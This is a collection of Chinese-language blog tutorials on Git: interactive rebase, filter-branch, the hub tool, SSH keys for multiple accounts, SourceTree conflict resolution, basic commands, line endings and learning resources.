该命令的使用方法是git rebase -i <指定提交号>,比如可以用git rebase -i HEAD~3来修改本次提交、上次提交、上上次提交共三次提交。



如图，我如果向修改这三次提交，输入git rebase -i HEAD~3，就会出现如下的界面：



这是一个 vim 编辑器的界面，这里是让我们编辑这一段脚本，可以使用的命令有下方注释中的六个命令。当退出当前编辑其的页面后，git 就会根据这个脚本一个个的针对提交执行对应的操作（从最早的那次提交开始执行）。

如果仅仅是想修改提交信息，就把所有的 pick 改成 r ，然后:wq保存，接下来 git  就会让你一个个的从最早的提交信息开始修改。

剩余的命令中， e 是会在修改对应提交时跳出 vim 编辑器，此时 HEAD 指针指向这次提交，此时可以用git commit --amend对这次提交进行各种修改，然后执行 git rebase --continue就会继续下一次操作；s 则是会在修改对应提交的时候把这次的提交和其父提交合并为一次提交；f 是和s类似但是会忽略当前提交的信息，直接采用父提交的信息；x 是需要在 x 之后输入命令然后在 HEAD 指向这次提交的时候执行。利用这些命令还可以完成重排提交、拆分提交的动作。

终极杀手 git filter-branch


假如说我们提交了 N 多次以后，突然发现我们这些提交的邮箱都写错了(╯°□°）╯︵ ┻━┻，这个时候如果使用之前提到的命令，估计还没改完就要累死了。这个时候我们就可以使用git filter-branch来重写分支，其可以批量的对每个提交执行我们预设的操作。

git filter-branch命令使用的基本使用格式是git filter-branch --<各种filer> '命令' <修改的范围> ，不同的 filter 会提供给命令不同的输入和输出。比如，--msg-filter表示修改提交信息，原提交信息从标准输入读入，新提交信息输出到标准输出；--tree-filter表示修改文件列表等等。最后会有一个重写的范围。比如，git filter-branch --env-filter 'GIT_AUTHOR_EMAIL=john@example.com export GIT_AUTHOR_EMAIL' HEAD 就可以用来重写邮箱。建议在调用命令之前先啦出一个分支做尝试再在自己要修改的分支上执行操作。

如果想知道更多关于该命令的信息和栗子，请戳这里和这里。


 hub 小试

作者：Cifery

来源： hub 小试



                    
hub 是一个命令行工具, 高度集成 git, 顺便加了一些 github 的操作, 所以:


	安装: brew update && brew install hub


	别名: alias git=hub




卧槽, 为什么别名那个看着那么屌, 直接这样真的好么? 我第一眼看到我也有点蛋疼, 犹豫该不该.
其实完全没有问题, 不用担心, relax~~~~, 顶多换了个机器有一些命令没法用而已, 但是原生的 git 命令是完全兼容的.

提一句, windows 貌似不适用, linux 和 OS X 可以尽情享用.
hub 1.x是ruby写的，2.x用go重写了，有官方windows release.

我的用法


	快速打开某个项目的 github 页面: git browse falood/maru, 注意这里是起过别名的 git. (我就是我是不一样的 git) 说实话这样挺爽, 特别是我经常要看几个项目的代码, 这样简直爽, 就是爽, 嗯, 爽.


	clone 一个项目: git clone falood/maru, 看到没, 看到没, 不用输那么一长串地址了, 虽然平时使用也不输, 只是复制而已, 但是这样比复制还快啊


	fork 一个项目, 然后进行 fork based development:




git clone falood/maru
cd maru
git fork

4不4很方便? 但是如果要用提 pr 的方法来进行开发的话还需要改个东西, 如果上面的命令你都敲了, 现在打开项目下的一个文件, 叫.git/config, 打开后长这样:

[core]
       some code
[remote "origin"]
        url = git://github.com/falood/maru.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
[remote "Cifer-Y"]
        url = git@github.com:Cifer-Y/maru.git
        fetch = +refs/heads/*:refs/remotes/Cifer-Y/*

一般情况下, fork 代码之后要指定一个 upstream, 来获取原项目的更新, 要把上面[remote "origin"]改成[reomote "upstream"], 最后把[remote "Cifer-Y"]改成[remote "origin"] 就好了.
然后就可以写代码了, 写完之后想给原项目作者提 pr 怎么办, 这样: 
git pull-request -b falood:master -h Cifer-Y:master
给不想看文档的人简单说一下, -b 后面的是你 pr 的目的地, -h 后面的是你要提的东西所在的分支

	新建一个 github repo:




git init new_repo
cd new_repo
echo "What's wrong?" >> README.md
git add .
git commit -m "relex~~~~~"
git create
git push -u origin master
git browse

这段操作太基本, 我就不一一解释了

	还有很多有用的命令, 请运行 man hub




大半夜玩 hub 玩的不亦乐乎, 其实我觉得上面那几个用法足够日(小)常(白)使用了, 但是还有很多很屌的高级功能, 比如从别人的 fork 里 cherry-pick 一个 commit 放到自己的项目里...这种就等用到了再学吧


 gitlab/github 多账户下设置 ssh keys

作者：YonBo

来源： gitlab/github 多账户下设置 ssh keys



                    
背景


公司之前的版本控制工具一直用的svn，最近开发的新项目，代码准备改换到了gitlab上进行管理。而我自己平时写的一些代码是放在github上进行托管的，这二者都是基于git的开源分布式版本控制系统，在本地可以通过ssh进行远程登录验证和数据传输（关于ssh的详细介绍可以参考这篇博文：http://blog.csdn.net/macrossdzh/article/details/5691924）。


具体操作是利用ssh在本地生成一对公私秘钥（keys），然后将公钥添加到注册的gitlab/github账户配置ssh key的地方即可。默认情况下本地生成的秘钥位于/Users/mac用户名/.ssh/（mac平台，本文针对os x系统介绍）。


But,问题来了：默认情况下每个账户生成的秘钥位置和名称都是相同的，这样后生成的秘钥就会覆盖前面的秘钥导致其失效。解决的办法就是在生成后一个秘钥的时候对其重新命名，以避免冲突，同时将不同的秘钥配置到相对应的Host上面，这样在访问不同的远程仓库时调用不同的key,冲突也就解决了。具体操作如下：


生成gitlab秘钥


默认你已经注册了gitlab/github账户，以我自己为例，公司项目用的gitlab，自己代码托管在github。先进行公司账号的设置：


本地生成ssh keys命令：ssh-keygen -t rsa -C "注册的gitlab邮箱"，生成的公司秘钥会提示是否需要重命名，公司gitlab的秘钥我们就使用默认名称，直接回车跳过，另外还会提示你设置密码,设置密码的话后续登陆会比较麻烦，也直接跳过。成功后大概是这样的：





查看 .ssh/目录，可以看到公私秘钥已经生成，名称分别为id_rsa.pub、id_rsa





执行命令查看公钥内容：cat ~/.ssh/id_rsa.pub，或者直接用nano编辑期打开id_rsa.pub。公钥大概是这个样子：





将这部分代码添加到到gitlab账户的的SSH Keys中即可。





生成github秘钥


终端执行命令：ssh-keygen -t rsa -C "注册的github邮箱"，这次一定要注意，对生成定的秘钥进行重命名，这里暂且重命名为id_rsa_home,同样不设置密码。可以看到生成的公私秘钥已经分别被重命名为id_rsa_home.pub和id_rsa_home。





可以查看公钥里面的内容：cat ~/.ssh/id_rsa_home.pub





不要忘记将其拷到github的SSH Keys里~

gitlab和github的秘钥是分开生成了，可怎么让这两份秘钥分别对应到相应的远程仓库呢？就是让id_rsa.pub认得gitlab,让id_rsa_home.pub认得github。既然不能自动识别，那就只好手动设置了：


配置config


在.ssh/目录下新建config文件：touch config，通过nano编辑器进行如下配置：





其中Host对应的名称是一个别名，命名可以随意，用来进行远程连接，当然使用真实的主机名称也是可以的。HostName和IdentityFile就是各自主机名称以及对应的秘钥文件了~

这样配置之后，两份秘钥也就对应到各自相应的仓库上了。通过设置别名，也就可以设置任意多的账户了~


最后利用别名检测下配置是否成功~


检测


检测gitlab连接，如果提示是否建立连接，直接yes就行：



检测github连接：



不报错的话，就说明设置成功了！


 「GIT SourceTree冲突」解决方案

作者：mousycoder

来源： 「GIT SourceTree冲突」解决方案



                    
现在程序猿标配GIT作为代码管理，但是从SVN到GIT学习中，其中GIT的冲突是一个难点，常常会导致Push不上去,Pull不下来，很尴尬的地步，还不知道自己写的代码被覆盖没，废话不多说，直接上干货！



亮点

采用SourceTree插件和BeyondCompare 可视化解决冲突

方法

构造冲突


	A 修改了conflict.file 中第1行内容并且提交到git上


	B 这个时候也修改了confilct.file中第一行内容准备提交，这个时候git就会提示




To git@192.168.x.xxx:xxx/server-aggregator.git
 ! [rejected]        develop -> develop (fetch first)
error: failed to push some refs to 'git@192.168.xx.xx:xxx/server-aggregator.git'

hint: Updates were rejected because the remote contains work that you do
hint: not have locally. This is usually caused by another repository pushing
hint: to the same ref. You may want to first integrate the remote changes
hint: (e.g., 'git pull ...') before pushing again.
hint: See the 'Note about fast-forwards' in 'git push --help' for details.

提示远程已经有更新了，本地版本太低，让我们先pull拉取最新的代码。

	我们pull一下，这个时候由于本地有修改这个文件，就会在本地产生冲突文件






配置外部比较工具


	下载Beyond Compare


	打开SourceTree->工具->选项->比较->外部差异对比合并->选择BeyondCompare




解决冲突


	在本地副本->右键->解决冲突->打开外部合并工具



	和svn一样解决好冲突保存更改，退出即可






另外一种情况

	拉取时出现如下提示：




it -c diff.mnemonicprefix=false -c core.quotepath=false pull local-server-aggregator develop
/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell:3: warning: Insecure world writable dir /usr in PATH, mode 040777
From 192.168.0.200:weitoo/server-aggregator
 * branch            develop    -> FETCH_HEAD
Updating b0c5c94..40cef3b
error: Your local changes to the following files would be overwritten by merge:
    server/conflict.file
Please, commit your changes or stash them before you can merge.
Aborting

提示需要暂存本地修改，才能拉取服务器上新的代码


	点击贮存(英文版:Stash),随便起一个名字，里面存的都是距离上次服务器版本到本地修改之间的差异，千万别删掉了,合并成功无误了再删掉。


	pull拉取服务器代码，这个时候，本地的代码变成了服务器上的代码。


	点击贮藏->应用贮藏区 ，这个时候是把之前的修改合并到本地上，这个时候会提示冲突。




git -c diff.mnemonicprefix=false -c core.quotepath=false stash apply stash@{0}
Auto-merging server/conflict.file
CONFLICT (content): Merge conflict in server/conflict.file

可以在sourcetree里看到有感叹号，代表冲突文件，和上面解决冲突方法类似，但是稍微不同，最左边成了远程版本，中间为远程上一个版本，最后才是本地修改。
这个是和我们操作方式有关：我们是先暂存本地修改，先拉取远程代码，这个时候local 就成了远程代码，最后我们用暂存的合并进去，remote就成了本地修改





多余的.orig文件

这个是由于git自身造成的 它会解决冲突后 生成一个原来冲突的备份，我们可以去掉

git config --global mergetool.keepBackup false



感谢您的耐心阅读，如果您发现文章中有一些没表述清楚的，或者是不对的地方，请给我留言，你的鼓励是作者写作最大的动力，
如果您认为本文质量不错，读后觉得收获很大，不妨小额赞助我一下，让我更有动力继续写出高质量的文章。


	支付宝 



	微信 





作 者 : @mousycoder

原文出处 : http://mousycoder.com/2015/10/14/git-source-conflict-reslove-solution/

创作时间：2015-6-15
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 Git入门私房菜

作者：Michael_翔_

来源： Git入门私房菜



                    
昨天下午参考廖雪峰的博客和其他一些文章，简单了解了一下传说中的Git，发现常见用法入门还是挺容易上手的，在此做一些笔记，方便以后查阅和复习。




Git安装

Linux-Ubuntu

sudo apt-get install git命令安装Git

Windows

官网下载 安装即可，不赘述。

注：安装时注意一步：选择第二项，将git添加到path中。

创建版本库


	创建项目文件夹，例如：demo


	进入demo目录下：git init命令将这个目录变成git可以管理的仓库（repository）。将仓库建好后，仓库目录下会多了一个.git隐藏文件夹。可以用ls -ah查看隐藏文件。


	向库里添加一个readme.txt文件：


	
git add告诉git，要把文件添加到仓库：

git add readme.txt

执行命令，其实，这一步的作用就是将文件添加到stage（暂存区）。


	git add .将所有文件添加到暂存区。


	git add -u将所有文件添加暂存区，同时，将删除的文件从仓库中删除。






	
git commit命令，将文件提交到仓库。

git commit -m "wrote a readme file"

注：-m是对本次提交的说明，不该偷懒省去。



	git status查看当前版本库的状态。


	git diff显示具体的尚未缓存的改动记录。


	git log记录每次commit的信息。git log --pretty=oneline将每次commit的记录打印成一行，内容精简。


	
git reset修改命令：


	git reset HEAD废除这次修改记录，当前文件回到上一次提交的状态。


	`git reset --hard [commit id]






	git rm慎用。这个命令会将所有版本库记录删除。




远程仓库

创建SSH Key。在类似C:\Users\xiang_000\.ssh这样的主目录下，查看是否有id_rsa和id_rsa.pub文件。如果有了，直接可以将公钥添加到github账户上。如果没有，打开Shell(windows下的Git Bash):

ssh-keygen -t rsa -C "youremail@example.com"

id_rsa.pub是公钥，可以放心的告诉任何人。

在github的Account settings里，Add SSH Key。

从远程库克隆

如果从零开发，推荐的方式是先在github上创建远程仓库。然后，从远程库克隆。

在github创建名为：learngit的新仓库。勾选添加README.md。

git clone克隆一个本地库：

git clone git@github.com:michael728/learngit.git

添加(关联）远程库

建完本地库，又想在github创建一个git仓库，让两个仓库进行远程同步。

在github创建新的repo，名字为：demo

根据github的提示，在本地的demo仓库下运行命令：

git remote add origin git@github.com:michae728/demo.git`


	请千万注意，把上面的michae728替换成你自己的GitHub账户名，否则，你在本地关联的就是我的远程库，关联没有问题，但是你以后推送是推不上去的，因为你的SSH Key公钥不在我的账户列表中。


	添加后，远程库的名字就是origin，这是Git默认的叫法，也可以改成别的，但是origin这个名字一看就知道是远程库。




将本地库的所有内容推送到远程库上：

git push -u origin master

把当前分支master推送到远程。由于之前远程库是空的，第一次推送master分支时，加上了-u参数。git不但把本地的master分支内容推送到远程新的master分支，还会把本地master分支和远程的master分支关联起来，以后推送或者拉取就可以简化命令。

从现在起，本地提交，可通过命令：

git push origin master

分享与更新项目


git push:


	git push origin dev表示提交到远程的dev分支。


	通常在本地的dev分支推送到远程的dev分支，注意两地分支命名要相同，保证不发生混乱





git pull:

	git pull origin dev表示拉远程dev分支到本地，并和本地dev分支合并




git fetch(不常用）：

	git fetch origin dev表示拉远程dev分支到本地，但是，不和本地dev分支合并





git remote:

	git remote add github git@github.com:michael728/test.git将本地仓库推送到github上名为test的仓库里




分支管理

创建于合并分支

创建dev分支，然后切换到dev分支：

git checkout -b dev

相当于下面两条命令：

git branch dev
git checkout dev

git branch命令用于查看当前分支。当前分支前面会有*:


	git branch查看本地分支


	git branch -a查看本地和远程所有分支


	git branch -r查看远程分支


	git branch -d删除本地分支


	git push :origin dev删除远程dev分支


	git checkout master命令用于dev分支完成工作后，切换回master分支。




git merge用于本地的指令。如果当前分支是master，本地另一个分支是dev，用下面命令将分支合并到master：

git merge dev

合并指定分支到当前分支:

git merge [branch]

后悔药

版本回退

git log来查询历史记录。git log --pretty=oneline显示精简信息。

git中，HEAD表示当前版本，上一个版本就是HEAD^,上上个版本HEAD^^，上100个版本，写成HEAD~100。

回到上一个版本：

git reset --hard HEAD^

或者通过git reset --hard [commit id]回到指定版本号的版本。

git版本的回退速度很快，因为git内部有个指向当前版本的HEAD指针。git仅仅是通过修改HEAD指向就可以完成版本切换的工作。

git reflog用来查看命令历史。通过这个，就可以查到之前的版本号啦！

工作区和暂存区

工作区（Working Directory)

例如我们创建的demo文件夹，他就是一个工作区。

版本库（Repository)

工作区有一个隐藏目录.git，这个不算工作区，它是git的版本库。

git的版本库里存了很多东西，最重要的是称为stage的暂存区，还有git为我们自动创建的第一个分支master，以及指向master的一个指针叫HEAD。


说明：


	git add实际上就是把文件修改添加到暂存区；


	git commit提交更改，实际上就是把暂存区的所有内容提交到当前分支。




因为我们创建爱你git版本库是，git自动为我们创建了唯一一个master分支，所以，现在git commit 就是往master分支上提交更改。（因为以后还有可能往分支上提交啊！）


	git status可以查看状态。如果有文件从来没有被添加过，那么它的状态是：Untracked。


	提交成功后，如果没有对工作区做任何修改，那么工作区就是working directory clean




管理修改

	git diff HEAD -- README.md 命令查看工作区和版本库里最新版本的区别。




撤销修改

分为两种情况的修改：

修改了工作区某个文件的内容，想直接丢弃修改：

git checkout -- filename

注：--前后都有空格。

当修改了工作区内容，同时，添加到了暂存区，分两步：


	用命令git reset HEAD filename,回到场景1


	用场景1的方法操作。




删除文件

当删除了工作区的文件，git知道删除了文件，因此，工作区和版本库就不一致。git status命令会立刻告诉那些文件被删除了。有两个选择：


	确实要从版本库里删除该文件，用命令git rm fimename,之后git commit提交。


	误删，因为版本库里还有，可以很轻松的把误删的文件恢复到最新版：git checkout -- filename




注：git checkout其实是用版本库里的东西替换工作区的版本。无论工作区是修改还是删除，都可以一键还原。

附件



欢迎来我的博客，在那儿会有更新：Michael翔的小窝

参考


	廖雪峰git教程


	21分钟入门Git


	Git使用教程





 Git 处理换行符问题

作者：Lucups

来源： Git 处理换行符问题



                    

  PS：最近又换回了 Linux Mint，作为一个 Linux 桌面黑，有点尴尬。。。：）




换行符是 *nux 与 Windows 系及其他系的各种不兼容问题的代表之一，于是，在不同平台使用 Git 时经常碰到 git status 列出一大串修改过的文件，git diff 查看一下其实只是换行符问题。不多扯了，直接上解决方案：


方案1： 增加 .gitattribute 文件


在 repo 目录下新建 .gitattribute 文件，内容为：


* text eol=lf



方案2： 修改 Git 配置


git config --global core.autocrlf false
git config --global core.safecrlf true



如果只需要修改当前仓库，去掉 --global。


方案3： 行政命令


下令：一律使用 unix 换行符，违者男的穿裙子，女的不许穿！


参考：



	Dealing with line endings




 Git  简介

作者：desdik

来源： Git  简介



                    
Git的简史

　　同生活中的许多伟大事物一样，Git 诞生于一个极富纷争大举创新的年代。

　　Linux 内核开源项目有着为数众广的参与者。 绝大多数的 Linux 内核维护工作都花在了提交补丁和保存归档的繁琐事务上（1991－2002年间）。 到 2002 年，整个项目组开始启用一个专有的分布式版本控制系统 BitKeeper 来管理和维护代码。

　　到了 2005 年，开发 BitKeeper 的商业公司同 Linux 内核开源社区的合作关系结束，他们收回了Linux 内核社区免费使用 BitKeeper 的权力。 这就迫使 Linux 开源社区（特别是 Linux 的缔造者Linux Torvalds）基于使用 BitKcheper 时的经验教训，开发出自己的版本系统。 他们对新的系统制订了若干目标：


	速度


	简单的设计


	对非线性开发模式的强力支持（允许成千上万个并行开发的分支）


	完全分布式




　　有能力高效管理类似 Linux 内核一样的超大规模项目（速度和数据量）

　　自诞生于 2005 年以来，Git 日臻成熟完善，在高度易用的同时，仍然保留着初期设定的目标。 它的速度飞快，极其适合管理大项目，有着令人难以置信的非线性分支管理系统。

　　Git迅速成为最流行的分布式版本控制系统，尤其是2008年，GitHub网站上线了，它为开源项目免费提供Git存储，无数开源项目开始迁移至GitHub，包括jQuery，PHP，Ruby等等。

Git是什么？

　　Git是一款免费、开源的分布式版本控制系统，用于敏捷高效地处理任何或小或大的项目。

　　Git是一个开源的分布式版本控制系统，用以有效、高速的处理从很小到非常大的项目版本管理。Git 是 Linus Torvalds 为了帮助管理 Linux 内核开发而开发的一个开放源码的版本控制软件。

　　最原始的版本控制是纯手工的版本控制：修改文件，保存文件副本。有时候偷懒省事，保存副本时命名比较随意，时间长了就不知道哪个是新的，哪个是老的了，即使知道新旧，可能也不知道每个版本是什么内容，相对上一版作了什么修改了，当几个版本过去后，很可能就是下面这个老土的样子了：



Git特点

　　分布式相比于集中式的最大区别在于开发者可以提交到本地，每个开发者通过克隆（git clone），在本地机器上拷贝一个完整的Git仓库。


	直接记录快照，而非差异比较 ： Git 更像是把变化的文件作快照后，记录在一个微型的文件系统中。


	近乎所有操作都是本地执行 ：在 Git 中的绝大多数操作都只需要访问本地文件和资源，不用连网。


	时刻保持数据完整性 ：在保存到 Git 之前，所有数据都要进行内容的校验和（checksum）计算，并将此结果作为数据的唯一标识和索引。


	多数操作仅添加数据 ：常用的 Git 操作大多仅仅是把数据添加到数据库。




　　开发流程示意图：



集中版本控制

　　CVS及SVN都是集中式的版本控制系统，而Git是分布式版本控制系统。

　　集中式版本控制系统，版本库是集中存放在中央服务器的，一起工作的人需要用自己的电脑从服务器上同步更新或上传自己的修改。



　　但是，所有的版本数据都存在服务器上，用户的本地设备就只有自己以前所同步的版本，如果不连网的话，用户就看不到历史版本，也无法切换版本验证问题，或在不同分支工作。。

　　而且，所有数据都保存在单一的服务器上，有很大的风险这个服务器会损坏，这样就会丢失所有的数据，当然可以定期备份。

分布式版本控制

　　那分布式版本控制系统与集中式版本控制系统有何不同呢？

　分布式版本控制系统根本没有“中央服务器”，每个人的电脑上都是一个完整的版本库，不需要联网就可以工作。既然每个人电脑上都有一个完整的版本库，那多个人如何协作呢？比方说你和同事在各自电脑修改相同文件，这时，你们俩之间只需把各自的修改推送给对方，就可以互相看到对方的修改了。

　　分布式版本控制系统的安全性要高很多，因为每个人电脑里都有完整的版本库。大家之间可以相互复制。

　　分布式版本控制系统通常也有一台充当“中央服务器”的电脑，但这个服务器的作用仅仅是用来方便“交换”大家的修改，没有它大家也一样干活，只是交换修改不方便而已。



安装Git

　　最早Git是在Linux上开发的，很长一段时间内，Git也只能在Linux和Unix系统上跑。不过，慢慢地有人把它移植到了Windows上。现在，Git可以在Linux、Unix、Mac和Windows这几大平台上正常运行了。

　　在Linux上安装Git

　　首先，你可以试着输入git，看看系统有没有安装Git：

$ git


　　像上面的命令，有很多Linux会友好地告诉你Git没有安装，还会告诉你如何安装Git。

　　如果你碰巧用Debian或Ubuntu Linux，通过一条sudo apt-get install git就可以直接完成Git的安装，非常简单。如果想查看是否安装成功，通过git --version。

　　如果是其他Linux版本，可以直接通过源码安装。先从Git官网下载源码，然后解压，依次输入：./config，make，sudo make install这几个命令安装就好了。

　　安装完成后，还需要最后一步设置，在命令行输入：　　

$ git config --global user.name "Your Name"
$ git config --global user.email "email@example.com"


　　因为Git是分布式版本控制系统，所以每个机器都必须自报家门：你的名字和Email地址。

　　注意git config命令的--global参数，用了这个参数，表示你这台机器上所有的Git仓库都会使用这个配置，当然也可以对某个仓库指定不同的用户名和Email地址。在此课程中，我们配置的环境中Git已安装好，我们课程提供也是在Linux系统中命令进行操作。

什么是版本库？

　　版本库又名仓库，英文名repository，你可以简单理解成一个目录，这个目录里面的所有文件都可以被Git管理起来，每个文件的修改、删除，Git都能跟踪，以便任何时刻都可以追踪历史，或者在将来某个时刻可以“还原”。

　　所以，创建一个版本库非常简单，首先，选择一个合适的地方，创建一个空目录：

$ mkdir learngit
$ cd learngit
$ pwd
/home/hubwiz/learngit


　　pwd命令用于显示当前目录。在环境中这个仓库位于/home/hubwiz/learngit。

　　通过git init命令把这个目录变成Git可以管理的仓库：

$ git init
Initialized empty Git repository in /home/hubwiz/learngit/.git/


　　瞬间Git就把仓库建好了，而且告诉你是一个空的仓库（empty Git repository），细心的读者可以发现当前目录下多了一个.git的目录，这个目录是Git来跟踪管理版本库的，没事千万不要手动修改这个目录里面的文件，不然改乱了，就把Git仓库给破坏了。

　　如果你没有看到.git目录，那是因为这个目录默认是隐藏的，用ls -ah命令就可以看见。

添加文件

　　我们了解下版本控制系统，其实只能跟踪文本文件的改动，比如TXT文件，网页，所有的程序代码等等，Git也不例外。版本控制系统可以告诉你每次的改动，比如在第5行加了一个单词“Linux”，在第8行删了一个单词“Windows”。而图片、视频这些二进制文件，虽然也能由版本控制系统理，但没法跟踪文件的变化，只能把二进制文件每次改动串起来，也就是只知道图片从100KB改成了120KB，但到底改了啥，版本控制系统不知道，也没法知道。

　　为了简明起见，我们创建一个readme.txt作为练习：

echo "Git is a version control system." > readme.txt
// 输入这句话保存到创建的readme.txt文件中
echo " Git is free software." >> readme.txt
// 输入此内容追加到readme.txt中


　　一定要放到learngit目录下（子目录也行），因为这是一个Git仓库，放到其他地方Git再厉害也找不到这个文件。

　　用命令git add告诉Git，把文件添加到仓库：

$ git add readme.txt


　　git add 实际上是个脚本命令，没有任何显示，说明添加成功。

提交文件

　　用命令git commit告诉Git，把文件提交到仓库：

$ git commit -m "wrote a readme file"
[master (root-commit) cb926e7] wrote a readme file
1 file changed, 2 insertions(+)
create mode 100644 readme.txt


　　简单解释一下git commit命令，-m后面输入的是本次提交的说明，可以输入任意内容，当然最好是有意义的，这样你就能从历史记录里方便地找到改动记录。

　　git commit命令执行成功后会告诉你，1个文件被改动（我们新添加的readme.txt文件），插入了两行内容（readme.txt有两行内容）。

　　为什么Git添加文件需要add，commit一共两步呢？因为commit可以一次提交很多文件，所以你可以多次add不同的文件，比如：

$ git add file1.txt
$ git add file2.txt file3.txt
$ git commit -m "add 3 files."


小结

此节知识点我们所学习的内容：

初始化一个Git仓库，使用git init命令。

添加文件到Git仓库，分两步：

第一步，使用命令git add <file>，注意，可反复多次使用，添加多个文件；
第二步，使用命令git commit，完成。

网站上还有更多内容和对应每一小节的在线练习大家可以去试试。
http://www.hubwiz.com/course/55d301543ad79a1b05dcc4e2/




 git-ssh 配置和使用

作者：humingx

来源： git-ssh 配置和使用



                    
1、设置Git的user name和email：(如果是第一次的话)


linux    $ git config --global user.name "humingx"
    $ git config --global user.email "humingx@yeah.net"



2、生成密钥


linux    $ ssh-keygen -t rsa -C "humingx@yeah.net"



连续3个回车。如果不需要密码的话。

最后得到了两个文件：id_rsa和id_rsa.pub。







如果不是第一次，就选择overwrite.



3、添加密钥到ssh-agent


确保 ssh-agent 是可用的。ssh-agent是一种控制用来保存公钥身份验证所使用的私钥的程序，其实ssh-agent就是一个密钥管理器，运行ssh-agent以后，使用ssh-add将私钥交给ssh-agent保管，其他程序需要身份验证的时候可以将验证申请交给ssh-agent来完成整个认证过程。


linux    # start the ssh-agent in the background
    eval "$(ssh-agent -s)"
    Agent pid 59566



添加生成的 SSH key 到 ssh-agent。


linux    $ ssh-add ~/.ssh/id_rsa






4、登陆Github, 添加 ssh 。


把id_rsa.pub文件里的内容复制到这里

























5、测试：


linux    $ ssh -T git@github.com



你将会看到：


    The authenticity of host 'github.com (207.97.227.239)' can't be established.
    RSA key fingerprint is 16:27:ac:a5:76:28:2d:36:63:1b:56:4d:eb:df:a6:48.
    Are you sure you want to continue connecting (yes/no)?



选择 yes


    Hi humingx! You've successfully authenticated, but GitHub does not provide shell access.



如果看到Hi后面是你的用户名，就说明成功了。



6、修改.git文件夹下config中的url。


修改前


    [remote "origin"]
    url = https://github.com/humingx/humingx.github.io.git
    fetch = +refs/heads/*:refs/remotes/origin/*



修改后


    [remote "origin"]
    url = git@github.com:humingx/humingx.github.io.git
    fetch = +refs/heads/*:refs/remotes/origin/*



7、发布





 分布式版本管理 Git 入门指南使用资料汇总

作者：xirong

来源： 分布式版本管理 Git 入门指南使用资料汇总



                    

  前言：这是一篇git学习资料汇总的文章，自己刚刚接触git版本管理时，到处搜索寻找好的学习方案，也收集了不少资料，试图用自己的语言整理下来，方便刚刚学习git的人，有个比较好的学习模式，今后会不断尝试对文章进行修改，争取做到不会的人基本ok，会的人得到提高！




一、什么是git？



  Git is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency.




git维基百科上详细介绍了git的资料，包括git的创建、使用以及一些草考资料，已经挺全了，记住一点，最高效的学习方式就是读文档，找官方文档去阅读学习是最快的掌握git的方法。


既然是分布式版本管理，那么和我们平常使用的svn有什么区别？



	分布式 vs 集中管理 （多份版本库 vs 一份版本库，设想下版本服务器挂了？）

	无需网络，随时随地进行版本控制，在没有网络的情况下你想回退到某个版本svn基本没戏；

	分支的新建、合并非常方便、快速，没有任何成本，基本不耗时，svn的版本基本上等同于又复制了一份代码；



stackoverflow 上关于svn和git的区别的讨论，说的很详细，请参考 Why is Git better than Subversion?
github 上通过版本库结构、历史、子项目（submudle）的不同来对比两者，请参考 What are the differences between SVN and Git?


二、git 安装


《pro git》一书中已经写明白了各个平台上怎么安装git,如果感觉晦涩，就看这个廖雪峰安装git


三、git 初使用



	对于已经熟悉svn的用户可以直接查看此文档 Git - SVN Crash Course，通过对比两个工具对同样的操作采取不同的命令来快速认识git的一些常用命令


	对于一个新手来说，我不需要知道git的原理，不需要知道git那么多的命令，我只想用git完成一次仓库的从初始化、commit、push、branch、tag等一个流程，越简单越好，图文教程，以window下使用git为例，一步步走完整个流程，推荐 手把手教你使用Git


	比较全面讲述的git的系列文章 号称史上最浅显易懂的Git教程！


	看完上面的几步内容，想你习对git基本上可以使用了，要掌握还得多多练习，熟能生巧，你是不是想去看看关于git的全部内容 ，官方中文电子版书籍即可满足你，当然你可以查看最新V2版英文或者下载epub pdf等本地阅读；




四、git 分支、tag


git 最帅气的就是对分支的处理，方便快速，你只需要一个简单的


bashgit branch branch-name



就能开出一个叫branch-name的分支，毫秒钟搞定，但也正是因为方便，如果使用不合理就会造成分支混乱，分不清脉络， 推荐看一下阮一峰写的文章 Git分支管理策略 ，最原始的文章就是这篇老外写的A successful Git branching model，@萌面大叔的乌托邦提到开源中国已经翻译成了中文，感兴趣的可以去看看介绍一个成功的 Git 分支模型





五、git 常见命令


一个比较好的汇总了git的一些基本命令的pdf，可以经常看看，或者当成命令手册，推荐 Git Cheat Sheet ，还有一张图片 Git常用命令 也不错；最近我整理了一份xmind的导图，将这两份资料都放到了画布里面，百度网盘 密码：6x7u 存储了，不断更新，有需要的可以下载，预览图片如下：





最强大的命令手册还得属于终端，* man git * 或者 * man git 命令 * 或者 * git --help * 或者 * git 命令 --help *，在这里可以找到任何你想要的。


六、git 书籍资料



	《Pro Git》 作者Scott Chacon是github的员工，git的布道者，这本书被誉为git学习圣经，中间有好多插图描述的浅显易懂，挺适合详细学习下的，最新英文第二版《pro git (Editon 2)》；


	《Git Community Book》汇聚了Git社区的很多精华,  并对git的对象模型原理等做了解释，可以深入的了解下git原理；




2015-01-22 增加



	推荐的工作流程 git workflow 



2015-04-05 增加 git flow 工具



	git flow 工具

	git flow 中文备忘清单

	一个很有意思的学习 git 的小游戏 http://pcottle.github.io/learnGitBranching/ 

	
图解 git 将书籍中很多术语用图片的方式进行讲解，很容易就懂了 

	
图文并茂-猴子都能懂的git入门教程 全面，生动形象，图文并茂，简单易懂，强烈推荐！



2015-06-02 增加


我在github上面整理了一个repo my-git，目前持续更新中，整理收集了git方便的学习资料，欢迎大家fork-modify-pull request，一块打造最全面的git学习！


关于日常中使用git来版本管理的流程写的很不错的一本书，日常工作模式、流程怎样更合理的工作！


最后，当你开始使用git的时候，学会用终端，比如你想看关于branch，那么大胆的时候 git branch --help 查看相应的命令！


======

原文首发于个人独立博客，欢迎审阅：http://ixirong.com/2014/11/19/the-way-to-learn-git/ 或者查看 个人github上的repo https://github.com/xirong/my-git ,不断更新。


 分布式版本控制系统git在项目开发中的使用

作者：tabalt

来源： 分布式版本控制系统git在项目开发中的使用



                    
原文链接：http://tabalt.net/blog/use-git-in-project/


关于是用git还是svn的争论，我想不用多聊了，总的来说，git是更稳定、更强大、更现代的分布式版本控制工具，值得大家去尝试与应用。


一、准备工作



	
配置个人信息


git config --global user.name "$username"
git config --global user.email "$email"
git config --global push.default simple
git config --global color.ui true




	
git仓库的创建与授权


git仓库一般由管理员创建好了，如果是github网站，直接点击右上角的“ + ”号，选择 “New repository”，填写信息并创建即可。


